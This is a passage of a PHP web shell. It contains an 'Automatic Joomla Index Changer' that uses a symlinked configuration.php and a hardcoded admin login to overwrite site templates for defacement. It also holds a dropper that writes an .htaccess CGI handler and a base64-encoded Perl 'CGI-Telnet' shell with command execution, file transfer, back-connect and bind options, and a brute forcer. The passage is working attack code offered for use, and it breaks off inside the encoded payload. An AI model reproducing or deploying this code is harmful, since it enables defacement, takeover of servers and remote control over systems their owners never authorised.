curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,\'<dd class="message message">\');
if($pos === false) {
echo("<br>[-] Updating Index.php Error");
exit;
}
else {
echo("<br>[~] index.php successfully saved");
}
#################################################################
###################### V1.6 END ######################
#################################################################
}
else
{
#################################################################
###################### V1.5 ######################
#################################################################
$req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id=\'0\'");
$data = mysql_fetch_array($req);
$template_name=$data["template"];
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',3);
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,"com_config");
if($pos === false) {
echo("<br>[-] Login Error");
exit;
}
else {
echo("<br>[+] Login Successful");
}
///////////////////////////
$url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden2=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',6);
if($hidden2) {
echo("<br>[~] index.php file founded in Theme Editor");
}
else {
echo("<br>[-] index.php Not found in Theme Editor");
}
echo("<br>[*] Updating Index.php .....");
$url2=$site_url."/index.php?option=com_templates&layout=edit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,\'<dd class="message message fade">\');
if($pos === false) {
echo("<br>[-] Updating Index.php Error");
exit;
}
else {
echo("<br>[~] index.php successfully saved");
}
#################################################################
###################### V1.5 END ######################
#################################################################
}
}
function randomt() {
$chars = "abcdefghijkmnopqrstuvwxyz023456789";
srand((double)microtime()*1000000);
$i = 0;
$pass = \'\' ;
while ($i <= 7) {
$num = rand() % 33;
$tmp = substr($chars, $num, 1);
$pass = $pass . $tmp;
$i++;
}
return $pass;
}
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
{
$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[$i]);
$ar=trim($ar1[0]);
return $ar;
}
}?>
<center><br><br>
<font color="#FF0000" size=\'+3\'><b>--==[ Automatic Joomla Index Changer ]==--</b></font><br><br>
</center>
<center><b>
Link of symlink configuration.php of Joomla<br></b>
<FORM action="" method="post">
<input type="hidden" name="form_action" value="1">
<input type="text" class="inputz" size="60" name="file" value="http://site.com/sym/home/user/public_html/configuration.php">
<br>
<br><b>
Admin Control Panel URL</b><br>
<input type="text" class="inputz" size="40" name="site_url" value="http://site/administrator"><br>
<br><b>
Your Index Code</b>
<br>
<TEXTAREA rows="20" align="center" style="background:black" cols="120" name="code"> your index code
</TEXTAREA>
<br>
<INPUT class="inputzbut" type="submit" value="Lets Go Deface !!!" name="Submit">
</FORM>
</center>
<script language=JavaScript>m=\'%09%09%09%09%09%09%09%3C/td%3E%0A%09%09%09%09%09%09%3C/tr%3E%0A%09%09%09%09%09%3C/table%3E%0A%09%09%09%09%3C/td%3E%0A%3C/html%3E\';d=unescape(m);document.write(d);</script>
<?php
}
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'cgi2012\')) {
echo "<center/><br/><b>
+--==[ CGI-Telnet Version 1.3 ]==--+
</b><br><br>";
mkdir(\'cgi2012\', 0755);
chdir(\'cgi2012\');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , \'w\') or die ("Dosya açılamadı!");
$metin = "AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgi2012 = \'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7CgokUGFzc3dvcmQgPSAiYmFuZHVuZ2tvdGFzYW1wYWgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfQoJZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTUwOwokcm93cz0gMjY7CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCW15ICRkaXIgPSRDdXJyZW50RGlyOwoJJGRpcj1+IHMvXFwvXFxcXC9nOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZjk5MDA7Cn0KdGQgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMyQkE4RUM7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmY5OTAwOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjY2MwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iIzAwMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+Cgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS